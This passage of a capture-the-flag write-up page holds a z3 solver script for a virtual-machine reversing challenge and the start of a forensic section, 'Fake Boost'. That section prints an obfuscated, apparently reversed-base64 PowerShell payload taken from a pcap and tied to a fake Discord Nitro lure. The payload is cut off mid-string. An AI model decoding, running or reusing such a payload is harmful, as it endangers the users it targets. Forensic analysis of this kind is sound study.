operator\">&amp;</span><span class=\"token operator\">=</span> op1\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">7</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">&amp;</span><span class=\"token operator\">=</span> regs<span class=\"token punctuation\">[</span>op1<span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">8</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> op1\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">9</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> regs<span class=\"token punctuation\">[</span>op1<span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">10</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> op1\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">11</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> regs<span class=\"token punctuation\">[</span>op1<span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">12</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">*=</span> op1\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">13</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">*=</span> regs<span class=\"token punctuation\">[</span>op1<span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">14</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">pass</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">15</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">pass</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">16</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> rotr<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> op1<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">17</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> rotr<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> regs<span class=\"token punctuation\">[</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">18</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> rotl<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> op1<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">19</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> rotl<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> regs<span class=\"token punctuation\">[</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">20</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> regs<span class=\"token punctuation\">[</span>op1<span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">21</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">22</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">>></span> op1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFF</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">23</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">>></span> regs<span class=\"token punctuation\">[</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFF</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">24</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">&lt;&lt;</span> op1<span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFF</span>\n    <span class=\"token keyword\">elif</span> opcode <span class=\"token operator\">==</span> <span class=\"token number\">25</span><span class=\"token punctuation\">:</span>\n        regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">&lt;&lt;</span> regs<span class=\"token punctuation\">[</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFF</span>\n\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3ee88722</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xecbdbe2</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x60b843c4</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5da67c7</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x171ef1e9</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x52d5b3f7</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3ae718c0</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">7</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x8b4aacc2</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xe5cf78dd</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">9</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x4a848edf</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">10</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x8f</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">11</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x4180000</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">12</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x0</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">13</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xd</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span><span class=\"token number\">14</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x0</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># print(regs)</span>\n\n<span class=\"token keyword\">while</span> s<span class=\"token punctuation\">.</span>check<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> sat<span class=\"token punctuation\">:</span>\n    m <span class=\"token operator\">=</span> s<span class=\"token punctuation\">.</span>model<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> flag<span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>m<span class=\"token punctuation\">[</span>c<span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>as_long<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>end<span class=\"token operator\">=</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">break</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/9491b5b5017e95721e60ddc1755610ec/47aef/image-20240315232123696.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 4.166666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAABCAYAAADeko4lAAAACXBIWXMAAAsTAAALEwEAmpwYAAAARUlEQVQI12Ow1bb676hm899W2f6/h577/xi7oP/Bxp5g7Kxg8d9Jwfy/syKQlofQzoqW/12ULMHijnJmYDWuytYQMaAaADRIIPs2qXiuAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/9491b5b5017e95721e60ddc1755610ec/8ac56/image-20240315232123696.webp 240w,\n/static/9491b5b5017e95721e60ddc1755610ec/d3be9/image-20240315232123696.webp 480w,\n/static/9491b5b5017e95721e60ddc1755610ec/e46b2/image-20240315232123696.webp 960w,\n/static/9491b5b5017e95721e60ddc1755610ec/0ca5b/image-20240315232123696.webp 1063w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/9491b5b5017e95721e60ddc1755610ec/8ff5a/image-20240315232123696.png 240w,\n/static/9491b5b5017e95721e60ddc1755610ec/e85cb/image-20240315232123696.png 480w,\n/static/9491b5b5017e95721e60ddc1755610ec/d9199/image-20240315232123696.png 960w,\n/static/9491b5b5017e95721e60ddc1755610ec/47aef/image-20240315232123696.png 1063w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/9491b5b5017e95721e60ddc1755610ec/d9199/image-20240315232123696.png\"\n            alt=\"image-20240315232123696\"\n            title=\"image-20240315232123696\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"fake-boostforensic\" style=\"position:relative;\"><a href=\"#fake-boostforensic\" aria-label=\"fake boostforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Fake Boost(Forensic)</h2>\n<blockquote>\n<p>In the shadow of The Fray, a new test called \"\"Fake Boost\"\" whispers promises of free Discord Nitro perks. It’s a trap, set in a world where nothing comes without a cost. As factions clash and alliances shift, the truth behind Fake Boost could be the key to survival or downfall. Will your faction see through the deception? KORP™ challenges you to discern reality from illusion in this cunning trial.</p>\n</blockquote>\n<p>From the pcap file provided as the challenge file, the following script can be extracted.</p>\n<div class=\"gatsby-highlight\" data-language=\"powershell\"><pre class=\"language-powershell\"><code class=\"language-powershell\"><span class=\"token variable\">$jozeq3n</span> = <span class=\"token string\">\"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gACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCN8yX8BCIg8yXf91XfxFIv81XfxFIv81Xf91XcBCIv81XfxFIgw3X891Xcx3Xv8FXgw3XcBCffxyXfxFIgw3X89yXf9FXf91Xc9yXf9FffxHIv81XfxHI891XfxFff91XcBCI89Ffgw3XcpQD8BCIf91Xc91XvAyLu8CIv8Ffgw1Xf91Lg8iLgwHIp8FKgwHI8BCffxHI8BCfgACX8BCfgwHI89FKgwHI8BCfgkyXoACffhCIcByXfxFI89CIvwHI8ByLf9FIg8yXfBCI8BCfgwHI8BCfK0Afgw3XvAyLg8CIvACI8BCfvACI8BCIvAyLgACIgwFIfByLf91Jgw3XfBCfgwHIgBiLgwHI8BCYfByLf91JgwHXg8FIv81Xg8Cff9FIvACfgwHI8BCfgwFIfByLcByXg8yXfdCI89FIgwnCNwHI89CIvcyLg8CInAGfgcyL8BCfn8CIvAyJgBCIg81XfByXfByXg8Ffgw3X8BCfcBCI8BCfgw3XfByXfByXgAyXf9FIf91XgAyXf9FIfxHI8BCfgwHIg81XfBCIf91Xg81Xg8FIfxHI8pQD8BCIg8CIcBCIf9FIvwHIg8FIgwHXgAyXfByLgACIgACIgACIgACIgwHIp8FKgwHIcBCfgwHI8BCIgACIgACIgACIgACIgACIgACIgkyXoACIfBCI8BCIgACIgACIgACIgACff91XgACfK0AIf91XgACIf91Xf9FIg81Xf91XgAyXf91XfBCIgACIgACIgACIgACIg8FIfByXgACIfBCIg8FIgACIgACIgACIgACIgACIgACIgACIg8FIf91Xf91XgACIgACIgACIgACIgAyXf91Xf9lCNICI0N3bI1SZ0lmcXpQDK0QfK0QKhRXYExGb1ZGJocmbpJHdTRjNlNXYC9GV6oTX0JXZ252bD5SblR3c5N1W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